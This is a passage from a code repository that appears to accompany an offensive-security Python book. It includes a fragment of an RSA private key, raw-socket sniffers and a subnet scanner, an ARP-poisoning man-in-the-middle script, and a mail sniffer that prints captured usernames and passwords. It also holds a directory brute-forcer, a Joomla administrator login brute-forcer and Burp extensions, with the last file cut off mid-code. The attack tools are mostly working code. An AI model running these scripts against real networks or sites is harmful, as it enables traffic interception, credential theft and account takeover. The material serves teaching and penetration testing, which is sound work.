oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/ 4 | d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB 5 | gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0 6 | EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon 7 | soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H 8 | tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU 9 | avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA 10 | 4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g 11 | H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv 12 | qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV 13 | HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc 14 | nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /chapter02/udp-client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "127.0.0.1" 4 | target_port = 80 5 | 6 | # create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 8 | 9 | # send some data 10 | client.sendto(b"AAABBBCCC", (target_host, target_port)) 11 | 12 | # receive some data 13 | data, addr = client.recvfrom(4096) 14 | 15 | client.close() 16 | 17 | print(data) 18 | -------------------------------------------------------------------------------- /chapter03/scanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | import threading 5 | from ipaddress import ip_address, ip_network 6 | from ctypes import * 7 | 8 | # host to listen on 9 | host = "192.168.0.187" 10 | 11 | # subnet to target 12 | tgt_subnet = "192.168.0.0/24" 13 | 14 | # magic we'll check ICMP responses for 15 | tgt_message = "PYTHONRULES!" 16 | 17 | 18 | def udp_sender(sub_net, magic_message): 19 | sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 20 | 21 | for ip in ip_network(sub_net).hosts(): 22 | sender.sendto(magic_message.encode('utf-8'), (str(ip), 65212)) 23 | 24 | 25 | class IP(Structure): 26 | _fields_ = [ 27 | ("ihl", c_ubyte, 4), 28 | ("version", c_ubyte, 4), 29 | ("tos", c_ubyte), 30 | ("len", c_ushort), 31 | ("id", c_ushort), 32 | ("offset", c_ushort), 33 | ("ttl", c_ubyte), 34 | ("protocol_num", c_ubyte), 35 | ("sum", c_ushort), 36 | ("src", c_uint32), 37 | ("dst", c_uint32) 38 | ] 39 | 40 | def __new__(cls, socket_buffer=None): 41 | return cls.from_buffer_copy(socket_buffer) 42 | 43 | def __init__(self, socket_buffer=None): 44 | self.socket_buffer = socket_buffer 45 | 46 | # map protocol constants to their names 47 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 48 | 49 | # human readable IP addresses 50 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 51 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 52 | 53 | # human readable protocol 54 | try: 55 | self.protocol = self.protocol_map[self.protocol_num] 56 | except IndexError: 57 | self.protocol = str(self.protocol_num) 58 | 59 | 60 | class ICMP(Structure): 61 | _fields_ = [ 62 | ("type", c_ubyte), 63 | ("code", c_ubyte), 64 | ("checksum", c_ushort), 65 | ("unused", c_ushort), 66 | ("next_hop_mtu", c_ushort) 67 | ] 68 | 69 | def __new__(cls, socket_buffer): 70 | return cls.from_buffer_copy(socket_buffer) 71 | 72 | def __init__(self, socket_buffer): 73 | self.socket_buffer = socket_buffer 74 | 75 | 76 | # create a raw socket and bind it to the public interface 77 | if os.name == "nt": 78 | socket_protocol = socket.IPPROTO_IP 79 | else: 80 | socket_protocol = socket.IPPROTO_ICMP 81 | 82 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 83 | 84 | sniffer.bind((host, 0)) 85 | 86 | # we want the IP headers included in the capture 87 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 88 | 89 | # if we're on Windows we need to send some ioctl 90 | # to setup promiscuous mode 91 | if os.name == "nt": 92 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 93 | 94 | # start sending packets 95 | t = threading.Thread(target=udp_sender, args=(tgt_subnet, tgt_message)) 96 | t.start() 97 | 98 | try: 99 | while True: 100 | 101 | # read in a single packet 102 | raw_buffer = sniffer.recvfrom(65535)[0] 103 | 104 | # create an IP header from the first 20 bytes of the buffer 105 | ip_header = IP(raw_buffer[:20]) 106 | 107 | print("Protocol: %s %s -> %s" % ( 108 | ip_header.protocol, 109 | ip_header.src_address, 110 | ip_header.dst_address) 111 | ) 112 | 113 | # if it's ICMP we want it 114 | if ip_header.protocol == "ICMP": 115 | 116 | # calculate where our ICMP packet starts 117 | offset = ip_header.ihl * 4 118 | buf = raw_buffer[offset:offset + sizeof(ICMP)] 119 | 120 | # create our ICMP structure 121 | icmp_header = ICMP(buf) 122 | 123 | print("ICMP -> Type: %d Code: %d" % ( 124 | icmp_header.type, 125 | icmp_header.code) 126 | ) 127 | 128 | # now check for the TYPE 3 and CODE 3 which indicates 129 | # a host is up but no port available to talk to 130 | if icmp_header.code == 3 and icmp_header.type == 3: 131 | 132 | # check to make sure we are receiving the response 133 | # that lands in our subnet 134 | if ip_address(ip_header.src_address) in ip_network(tgt_subnet): 135 | 136 | # test for our magic message 137 | if raw_buffer[len(raw_buffer) 138 | - len(tgt_message):] == tgt_message: 139 | print("Host Up: %s" % ip_header.src_address) 140 | 141 | # handle CTRL-C 142 | except KeyboardInterrupt: 143 | # if we're on Windows turn off promiscuous mode 144 | if os.name == "nt": 145 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 146 | -------------------------------------------------------------------------------- /chapter03/sniffer_basic.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | 4 | # host to listen on 5 | host = "192.168.0.196" 6 | 7 | # create a raw socket and bind it to the public interface 8 | if os.name == "nt": 9 | socket_protocol = socket.IPPROTO_IP 10 | else: 11 | socket_protocol = socket.IPPROTO_ICMP 12 | 13 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 14 | 15 | sniffer.bind((host, 0)) 16 | 17 | # we want the IP headers included in the capture 18 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 19 | 20 | # if we're on Windows we need to send an IOCTL 21 | # to setup promiscuous mode 22 | if os.name == "nt": 23 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 24 | 25 | # read in a single packet 26 | print(sniffer.recvfrom(65535)) 27 | 28 | # if we're on Windows turn off promiscuous mode 29 | if os.name == "nt": 30 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 31 | -------------------------------------------------------------------------------- /chapter03/sniffer_ip_header_decode.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | from ctypes import * 5 | 6 | # host to listen on 7 | host = "192.168.0.187" 8 | 9 | 10 | class IP(Structure): 11 | _fields_ = [ 12 | ("ihl", c_ubyte, 4), 13 | ("version", c_ubyte, 4), 14 | ("tos", c_ubyte), 15 | ("len", c_ushort), 16 | ("id", c_ushort), 17 | ("offset", c_ushort), 18 | ("ttl", c_ubyte), 19 | ("protocol_num", c_ubyte), 20 | ("sum", c_ushort), 21 | ("src", c_uint32), 22 | ("dst", c_uint32) 23 | ] 24 | 25 | def __new__(cls, socket_buffer=None): 26 | return cls.from_buffer_copy(socket_buffer) 27 | 28 | def __init__(self, socket_buffer=None): 29 | self.socket_buffer = socket_buffer 30 | 31 | # map protocol constants to their names 32 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 33 | 34 | # human readable IP addresses 35 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 36 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 37 | 38 | # human readable protocol 39 | try: 40 | self.protocol = self.protocol_map[self.protocol_num] 41 | except IndexError: 42 | self.protocol = str(self.protocol_num) 43 | 44 | 45 | # create a raw socket and bind it to the public interface 46 | if os.name == "nt": 47 | socket_protocol = socket.IPPROTO_IP 48 | else: 49 | socket_protocol = socket.IPPROTO_ICMP 50 | 51 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 52 | 53 | sniffer.bind((host, 0)) 54 | 55 | # we want the IP headers included in the capture 56 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 57 | 58 | # if we're on Windows we need to send some ioctl 59 | # to setup promiscuous mode 60 | if os.name == "nt": 61 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 62 | 63 | try: 64 | while True: 65 | # read in a single packet 66 | raw_buffer = sniffer.recvfrom(65535)[0] 67 | 68 | # create an IP header from the first 20 bytes of the buffer 69 | ip_header = IP(raw_buffer[:20]) 70 | 71 | print("Protocol: %s %s -> %s" % ( 72 | ip_header.protocol, 73 | ip_header.src_address, 74 | ip_header.dst_address) 75 | ) 76 | 77 | except KeyboardInterrupt: 78 | # if we're on Windows turn off promiscuous mode 79 | if os.name == "nt": 80 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 81 | -------------------------------------------------------------------------------- /chapter03/sniffer_with_icmp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | 5 | from ctypes import * 6 | 7 | # host to listen on 8 | host = "192.168.0.187" 9 | 10 | 11 | class IP(Structure): 12 | 13 | _fields_ = [ 14 | ("ihl", c_ubyte, 4), 15 | ("version", c_ubyte, 4), 16 | ("tos", c_ubyte), 17 | ("len", c_ushort), 18 | ("id", c_ushort), 19 | ("offset", c_ushort), 20 | ("ttl", c_ubyte), 21 | ("protocol_num", c_ubyte), 22 | ("sum", c_ushort), 23 | ("src", c_uint32), 24 | ("dst", c_uint32) 25 | ] 26 | 27 | def __new__(cls, socket_buffer=None): 28 | return cls.from_buffer_copy(socket_buffer) 29 | 30 | def __init__(self, socket_buffer=None): 31 | self.socket_buffer = socket_buffer 32 | 33 | # map protocol constants to their names 34 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 35 | 36 | # human readable IP addresses 37 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 38 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 39 | 40 | # human readable protocol 41 | try: 42 | self.protocol = self.protocol_map[self.protocol_num] 43 | except IndexError: 44 | self.protocol = str(self.protocol_num) 45 | 46 | 47 | class ICMP(Structure): 48 | 49 | _fields_ = [ 50 | ("type", c_ubyte), 51 | ("code", c_ubyte), 52 | ("checksum", c_ushort), 53 | ("unused", c_ushort), 54 | ("next_hop_mtu", c_ushort) 55 | ] 56 | 57 | def __new__(cls, socket_buffer): 58 | return cls.from_buffer_copy(socket_buffer) 59 | 60 | def __init__(self, socket_buffer): 61 | self.socket_buffer = socket_buffer 62 | 63 | 64 | # create a raw socket and bind it to the public interface 65 | if os.name == "nt": 66 | socket_protocol = socket.IPPROTO_IP 67 | else: 68 | socket_protocol = socket.IPPROTO_ICMP 69 | 70 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 71 | 72 | sniffer.bind((host, 0)) 73 | 74 | # we want the IP headers included in the capture 75 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 76 | 77 | # if we're on Windows we need to send some ioctl 78 | # to setup promiscuous mode 79 | if os.name == "nt": 80 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 81 | 82 | 83 | try: 84 | while True: 85 | # read in a single packet 86 | raw_buffer = sniffer.recvfrom(65535)[0] 87 | 88 | # create an IP header from the first 20 bytes of the buffer 89 | ip_header = IP(raw_buffer[:20]) 90 | 91 | print("Protocol: %s %s -> %s" % ( 92 | ip_header.protocol, 93 | ip_header.src_address, 94 | ip_header.dst_address) 95 | ) 96 | 97 | # if it's ICMP we want it 98 | if ip_header.protocol == "ICMP": 99 | # calculate where our ICMP packet starts 100 | offset = ip_header.ihl * 4 101 | buf = raw_buffer[offset:offset + sizeof(ICMP)] 102 | 103 | # create our ICMP structure 104 | icmp_header = ICMP(buf) 105 | 106 | print("ICMP -> Type: %d Code: %d" % ( 107 | icmp_header.type, 108 | icmp_header.code) 109 | ) 110 | 111 | # handle CTRL-C 112 | except KeyboardInterrupt: 113 | # if we're on Windows turn off promiscuous mode 114 | if os.name == "nt": 115 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 116 | -------------------------------------------------------------------------------- /chapter04/arper.py: -------------------------------------------------------------------------------- 1 | from kamene.all import * 2 | import sys 3 | import threading 4 | import time 5 | 6 | interface = "en1" 7 | tgt_ip = "172.16.1.71" 8 | tgt_gateway = "172.16.1.254" 9 | packet_count = 1000 10 | poisoning = True 11 | 12 | 13 | def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): 14 | # slightly different method using send 15 | print("[*] Restoring target...") 16 | send(ARP(op=2, 17 | psrc=gateway_ip, 18 | pdst=target_ip, 19 | hwdst="ff:ff:ff:ff:ff:ff", 20 | hwsrc=gateway_mac), 21 | count=5) 22 | send(ARP(op=2, 23 | psrc=target_ip, 24 | pdst=gateway_ip, 25 | hwdst="ff:ff:ff:ff:ff:ff", 26 | hwsrc=target_mac), 27 | count=5) 28 | 29 | 30 | def get_mac(ip_address): 31 | responses, unanswered = srp( 32 | Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), 33 | timeout=2, 34 | retry=10 35 | ) 36 | 37 | # return the MAC address from a response 38 | for s, r in responses: 39 | return r[Ether].src 40 | return None 41 | 42 | 43 | def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): 44 | global poisoning 45 | 46 | poison_tgt = ARP() 47 | poison_tgt.op = 2 48 | poison_tgt.psrc = gateway_ip 49 | poison_tgt.pdst = target_ip 50 | poison_tgt.hwdst = target_mac 51 | 52 | poison_gateway = ARP() 53 | poison_gateway.op = 2 54 | poison_gateway.psrc = target_ip 55 | poison_gateway.pdst = gateway_ip 56 | poison_gateway.hwdst = gateway_mac 57 | 58 | print("[*] Beginning the ARP poison. [CTRL-C to stop]") 59 | 60 | while poisoning: 61 | send(poison_tgt) 62 | send(poison_gateway) 63 | time.sleep(2) 64 | 65 | print("[*] ARP poison attack finished.") 66 | 67 | return 68 | 69 | 70 | # set our interface 71 | conf.iface = interface 72 | 73 | # turn off output 74 | conf.verb = 0 75 | 76 | print("[*] Setting up %s" % interface) 77 | 78 | tgt_gateway_mac = get_mac(tgt_gateway) 79 | 80 | if tgt_gateway_mac is None: 81 | print("[!!!] Failed to get gateway MAC. Exiting.") 82 | sys.exit(0) 83 | else: 84 | print("[*] Gateway %s is at %s" % (tgt_gateway, tgt_gateway_mac)) 85 | 86 | tgt_mac = get_mac(tgt_ip) 87 | 88 | if tgt_mac is None: 89 | print("[!!!] Failed to get target MAC. Exiting.") 90 | sys.exit(0) 91 | else: 92 | print("[*] Target %s is at %s" % (tgt_ip, tgt_mac)) 93 | 94 | # start poison thread 95 | poison_thread = threading.Thread(target=poison_target, 96 | args=(tgt_gateway, 97 | tgt_gateway_mac, 98 | tgt_ip, 99 | tgt_mac) 100 | ) 101 | poison_thread.start() 102 | 103 | try: 104 | print("[*] Starting sniffer for %d packets" % packet_count) 105 | bpf_filter = "ip host %s" % tgt_ip 106 | packets = sniff(count=packet_count, 107 | filter=bpf_filter, 108 | iface=interface 109 | ) 110 | # write out the captured packets 111 | print("[*] Writing packets to arper.pcap") 112 | wrpcap('arper.pcap', packets) 113 | 114 | except KeyboardInterrupt: 115 | pass 116 | 117 | finally: 118 | poisoning = False 119 | # wait for poisoning thread to exit 120 | time.sleep(2) 121 | 122 | # restore the network 123 | restore_target(tgt_gateway, 124 | tgt_gateway_mac, 125 | tgt_ip, 126 | tgt_mac 127 | ) 128 | sys.exit(0) 129 | -------------------------------------------------------------------------------- /chapter04/mail_sniffer.py: -------------------------------------------------------------------------------- 1 | from kamene.all import * 2 | 3 | 4 | # our packet callback 5 | def packet_callback(packet): 6 | if packet[TCP].payload: 7 | mail_packet = bytes(packet[TCP].payload) 8 | if b'user' in mail_packet.lower() or b'pass' in mail_packet.lower(): 9 | print("[*] Server: %s" % packet[IP].dst) 10 | print("[*] %s" % packet[TCP].payload) 11 | 12 | 13 | # fire up our sniffer 14 | sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", 15 | prn=packet_callback, 16 | store=0) 17 | -------------------------------------------------------------------------------- /chapter04/pic_carver.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | from kamene.all import * 3 | 4 | pictures_directory = "pic_carver/pictures" 5 | faces_directory = "pic_carver/faces" 6 | pcap_file = "bhp.pcap" 7 | 8 | 9 | def face_detect(path, file_name): 10 | img = cv2.imread(path) 11 | cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") 12 | rects = cascade.detectMultiScale(img, 1.3, 4, 13 | cv2.CASCADE_SCALE_IMAGE, (20, 20) 14 | ) 15 | if len(rects) == 0: 16 | return False 17 | rects[:, 2:] += rects[:, :2] 18 | 19 | # highlight the faces in the image 20 | for x1, y1, x2, y2 in rects: 21 | cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) 22 | cv2.imwrite("%s/%s-%s" % (faces_directory, pcap_file, file_name), img) 23 | return True 24 | 25 | 26 | def get_http_headers(http_payload): 27 | try: 28 | # split the headers off if it is HTTP traffic 29 | headers_raw = http_payload[:http_payload.index("\r\n\r\n") + 2] 30 | # break out the headers 31 | headers = dict( 32 | re.findall(r"(?P.*?): (?P.*?)\r\n", headers_raw)) 33 | except: 34 | return None 35 | if "Content-Type" not in headers: 36 | return None 37 | return headers 38 | 39 | 40 | def extract_image(headers, http_payload): 41 | image = None 42 | image_type = None 43 | 44 | try: 45 | if "image" in headers['Content-Type']: 46 | # grab the image type and image body 47 | image_type = headers['Content-Type'].split("/")[1] 48 | image = http_payload[http_payload.index("\r\n\r\n") + 4:] 49 | # if we detect compression decompress the image 50 | try: 51 | if "Content-Encoding" in list(headers.keys()): 52 | if headers['Content-Encoding'] == "gzip": 53 | image = zlib.decompress(image, 16 + zlib.MAX_WBITS) 54 | elif headers['Content-Encoding'] == "deflate": 55 | image = zlib.decompress(image) 56 | except: 57 | pass 58 | except: 59 | return None, None 60 | return image, image_type 61 | 62 | 63 | def http_assembler(pcap_fl): 64 | carved_images = 0 65 | faces_detected = 0 66 | 67 | a = rdpcap(pcap_fl) 68 | sessions = a.sessions() 69 | 70 | for session in sessions: 71 | http_payload = "" 72 | for packet in sessions[session]: 73 | try: 74 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 75 | # reassemble the stream into a single buffer 76 | http_payload += str(packet[TCP].payload) 77 | except: 78 | pass 79 | headers = get_http_headers(http_payload) 80 | 81 | if headers is None: 82 | continue 83 | 84 | image, image_type = extract_image(headers, http_payload) 85 | 86 | if image is not None and image_type is not None: 87 | # store the image 88 | file_name = "%s-pic_carver_%d.%s" % ( 89 | pcap_fl, carved_images, image_type) 90 | fd = open("%s/%s" % (pictures_directory, file_name), "wb") 91 | fd.write(image) 92 | fd.close() 93 | carved_images += 1 94 | # now attempt face detection 95 | try: 96 | result = face_detect("%s/%s" % (pictures_directory, file_name), 97 | file_name) 98 | if result is True: 99 | faces_detected += 1 100 | except: 101 | pass 102 | return carved_images, faces_detected 103 | 104 | 105 | carved_img, faces_dtct = http_assembler(pcap_file) 106 | 107 | print("Extracted: %d images" % carved_images) 108 | print("Detected: %d faces" % faces_detected) 109 | -------------------------------------------------------------------------------- /chapter05/content_bruter.py: -------------------------------------------------------------------------------- 1 | import queue 2 | import threading 3 | import urllib.error 4 | import urllib.parse 5 | import urllib.request 6 | 7 | threads = 50 8 | target_url = "http://testphp.vulnweb.com" 9 | wordlist_file = "all.txt" # from SVNDigger 10 | resume = None 11 | user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) " \ 12 | "Gecko/20100101 " \ 13 | "Firefox/19.0" 14 | 15 | 16 | def build_wordlist(wordlst_file): 17 | # read in the word list 18 | fd = open(wordlst_file, "r") 19 | raw_words = [line.rstrip('\n') for line in fd] 20 | fd.close() 21 | 22 | found_resume = False 23 | words = queue.Queue() 24 | 25 | for word in raw_words: 26 | if resume: 27 | if found_resume: 28 | words.put(word) 29 | else: 30 | if word == resume: 31 | found_resume = True 32 | print("Resuming wordlist from: %s" % resume) 33 | else: 34 | words.put(word) 35 | return words 36 | 37 | 38 | def dir_bruter(extensions=None): 39 | while not word_queue.empty(): 40 | attempt = word_queue.get() 41 | attempt_list = [] 42 | 43 | # check if there is a file extension if not 44 | # it's a directory path we're bruting 45 | if "." not in attempt: 46 | attempt_list.append("/%s/" % attempt) 47 | else: 48 | attempt_list.append("/%s" % attempt) 49 | 50 | # if we want to bruteforce extensions 51 | if extensions: 52 | for extension in extensions: 53 | attempt_list.append("/%s%s" % (attempt, extension)) 54 | 55 | # iterate over our list of attempts 56 | for brute in attempt_list: 57 | url = "%s%s" % (target_url, urllib.parse.quote(brute)) 58 | try: 59 | headers = {"User-Agent": user_agent} 60 | r = urllib.request.Request(url, headers=headers) 61 | response = urllib.request.urlopen(r) 62 | if len(response.read()): 63 | print("[%d] => %s" % (response.code, url)) 64 | except urllib.error.HTTPError as e: 65 | if e.code != 404: 66 | print("!!! %d => %s" % (e.code, url)) 67 | pass 68 | 69 | 70 | word_queue = build_wordlist(wordlist_file) 71 | file_extensions = [".php", ".bak", ".orig", ".inc"] 72 | 73 | for i in range(threads): 74 | t = threading.Thread(target=dir_bruter, args=(file_extensions,)) 75 | t.start() 76 | -------------------------------------------------------------------------------- /chapter05/joomla_killer.py: -------------------------------------------------------------------------------- 1 | import http.cookiejar 2 | import queue 3 | import threading 4 | import urllib.error 5 | import urllib.parse 6 | import urllib.request 7 | from abc import ABC 8 | from html.parser import HTMLParser 9 | 10 | # general settings 11 | user_thread = 10 12 | username = "admin" 13 | wordlist_file = "cain.txt" 14 | resume = None 15 | 16 | # target specific settings 17 | target_url = "http://192.168.112.131/administrator/index.php" 18 | target_post = "http://192.168.112.131/administrator/index.php" 19 | 20 | username_field = "username" 21 | password_field = "passwd" 22 | 23 | success_check = "Administration - Control Panel" 24 | 25 | 26 | class BruteParser(HTMLParser, ABC): 27 | def __init__(self): 28 | HTMLParser.__init__(self) 29 | self.tag_results = {} 30 | 31 | def handle_starttag(self, tag, attrs): 32 | if tag == "input": 33 | tag_name = None 34 | for name, value in attrs: 35 | if name == "name": 36 | tag_name = value 37 | if tag_name: 38 | self.tag_results[tag_name] = value 39 | 40 | 41 | class Bruter(object): 42 | def __init__(self, user, words_q): 43 | self.username = user 44 | self.password_q = words_q 45 | self.found = False 46 | print("Finished setting up for: %s" % user) 47 | 48 | def run_bruteforce(self): 49 | for i in range(user_thread): 50 | t = threading.Thread(target=self.web_bruter) 51 | t.start() 52 | 53 | def web_bruter(self): 54 | while not self.password_q.empty() and not self.found: 55 | brute = self.password_q.get().rstrip() 56 | jar = http.cookiejar.FileCookieJar("cookies") 57 | opener = urllib.request.build_opener( 58 | urllib.request.HTTPCookieProcessor(jar)) 59 | 60 | response = opener.open(target_url) 61 | 62 | page = response.read() 63 | 64 | print("Trying: %s : %s (%d left)" % ( 65 | self.username, brute, self.password_q.qsize())) 66 | 67 | # parse out the hidden fields 68 | parser = BruteParser() 69 | parser.feed(page) 70 | 71 | post_tags = parser.tag_results 72 | 73 | # add our username and password fields 74 | post_tags[username_field] = self.username 75 | post_tags[password_field] = brute 76 | 77 | login_data = urllib.parse.urlencode(post_tags) 78 | login_response = opener.open(target_post, login_data) 79 | 80 | login_result = login_response.read() 81 | 82 | if success_check in login_result: 83 | self.found = True 84 | 85 | print("[*] Bruteforce successful.") 86 | print("[*] Username: %s" % username) 87 | print("[*] Password: %s" % brute) 88 | print("[*] Waiting for other threads to exit...") 89 | 90 | 91 | def build_wordlist(wordlst_file): 92 | # read in the word list 93 | fd = open(wordlst_file, "r") 94 | raw_words = [line.rstrip('\n') for line in fd] 95 | fd.close() 96 | 97 | found_resume = False 98 | word_queue = queue.Queue() 99 | 100 | for word in raw_words: 101 | word = word.rstrip() 102 | if resume is not None: 103 | if found_resume: 104 | word_queue.put(word) 105 | else: 106 | if word == resume: 107 | found_resume = True 108 | print("Resuming wordlist from: %s" % resume) 109 | else: 110 | word_queue.put(word) 111 | return word_queue 112 | 113 | 114 | words = build_wordlist(wordlist_file) 115 | bruter_obj = Bruter(username, words) 116 | bruter_obj.run_bruteforce() 117 | -------------------------------------------------------------------------------- /chapter05/web_app_mapper.py: -------------------------------------------------------------------------------- 1 | import os 2 | import queue 3 | import threading 4 | import urllib.error 5 | import urllib.parse 6 | import urllib.request 7 | 8 | threads = 10 9 | target = "http://www.test.com" 10 | directory = "/Users/justin/Downloads/joomla-3.1.1" 11 | filters = [".jpg", ".gif", "png", ".css"] 12 | 13 | os.chdir(directory) 14 | web_paths = queue.Queue() 15 | 16 | for r, d, f in os.walk("."): 17 | for files in f: 18 | remote_path = "%s/%s" % (r, files) 19 | if remote_path.startswith("."): 20 | remote_path = remote_path[1:] 21 | if os.path.splitext(files)[1] not in filters: 22 | web_paths.put(remote_path) 23 | 24 | 25 | def test_remote(): 26 | while not web_paths.empty(): 27 | path = web_paths.get() 28 | url = "%s%s" % (target, path) 29 | request = urllib.request.Request(url) 30 | try: 31 | response = urllib.request.urlopen(request) 32 | print("[%d] => %s" % (response.code, path)) 33 | response.close() 34 | except urllib.error.HTTPError as error: 35 | print("Failed %s" % error.code) 36 | pass 37 | 38 | 39 | for i in range(threads): 40 | print("Spawning thread: %d" % i) 41 | t = threading.Thread(target=test_remote) 42 | t.start() 43 | -------------------------------------------------------------------------------- /chapter06/bhp_bing.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | import re 4 | import socket 5 | import urllib.error 6 | import urllib.parse 7 | import urllib.request 8 | 9 | from burp import IBurpExtender 10 | from burp import IContextMenuFactory 11 | from java.net import URL 12 | from java.util import ArrayList 13 | from javax.swing import JMenuItem 14 | 15 | bing_api_key = "YOURKEYHERE" 16 | 17 | 18 | class BurpExtender(IBurpExtender, IContextMenuFactory): 19 | def registerExtenderCallbacks(self, callbacks): 20 | self._callbacks = callbacks 21 | self._helpers = callbacks.getHelpers() 22 | self.context = None 23 | 24 | # we set up our extension 25 | callbacks.setExtensionName("BHP Bing") 26 | callbacks.registerContextMenuFactory(self) 27 | return 28 | 29 | def createMenuItems(self, context_menu): 30 | self.context = context_menu 31 | menu_list = ArrayList() 32 | menu_list.add(JMenuItem("Send to Bing", actionPerformed=self.bing_menu)) 33 | return menu_list 34 | 35 | def bing_menu(self, event): 36 | # grab the details of what the user clicked 37 | http_traffic = self.context.getSelectedMessages() 38 | print("%d requests highlighted" % len(http_traffic)) 39 | 40 | for traffic in http_traffic: 41 | http_service = traffic.getHttpService() 42 | host = http_service.getHost() 43 | print("User selected host: %s" % host) 44 | self.bing_search(host) 45 | return 46 | 47 | def bing_search(self, host): 48 | 49 | # check if we have an IP or hostname 50 | is_ip = re.match(r'[0-9]+(?:\.[0-9]+){3}', host) 51 | 52 | if is_ip: 53 | ip_address = host 54 | domain = False 55 | else: 56 | ip_address = socket.gethostbyname(host) 57 | domain = True 58 | 59 | bing_query_string = "'ip:%s'" % ip_address 60 | self.bing_query(bing_query_string) 61 | 62 | if domain: 63 | bing_query_string = "'domain:%s'" % host 64 | self.bing_query(bing_query_string) 65 | 66 | def bing_query(self, bing_query_string): 67 | 68 | print("Performing Bing search: %s" % bing_query_string) 69 | 70 | # encode our query 71 | quoted_query = urllib.parse.quote(bing_query_string) 72 | 73 | http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$format=json&$top=20&Query=%s HTTP/1.1\r\n" % quoted_query 74 | http_request += "Host: api.datamarket.azure.com\r\n" 75 | http_request += "Connection: close\r\n" 76 | http_request += "Authorization: Basic %s\r\n" % base64.b64encode( 77 | ":%s" % bing_api_key) 78 | http_request += "User-Agent: Blackhat Python\r\n\r\n" 79 | 80 | json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com", 81 | 443, True, 82 | http_request).tostring() 83 | 84 | json_body = json_body.split("\r\n\r\n", 1)[1] 85 | 86 | try: 87 | r = json.loads(json_body) 88 | if len(r["d"]["results"]): 89 | for site in r["d"]["results"]: 90 | print("*" * 100) 91 | print(site['Title']) 92 | print(site['Url']) 93 | print(site['Description']) 94 | print("*" * 100) 95 | j_url = URL(site['Url']) 96 | if not self._callbacks.isInScope(j_url): 97 | print("Adding to Burp scope") 98 | self._callbacks.includeInScope(j_url) 99 | except: 100 | print("No results from Bing") 101 | pass 102 | return 103 | -------------------------------------------------------------------------------- /chapter06/bhp_fuzzer.py: -------------------------------------------------------------------------------- 1 | from burp import IBurpExtender 2 | from burp import IIntruderPayloadGeneratorFactory 3 | from burp import IIntruderPayloadGenerator 4 | from java.util import List, ArrayList 5 | import random 6 | 7 | 8 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): 9 | def 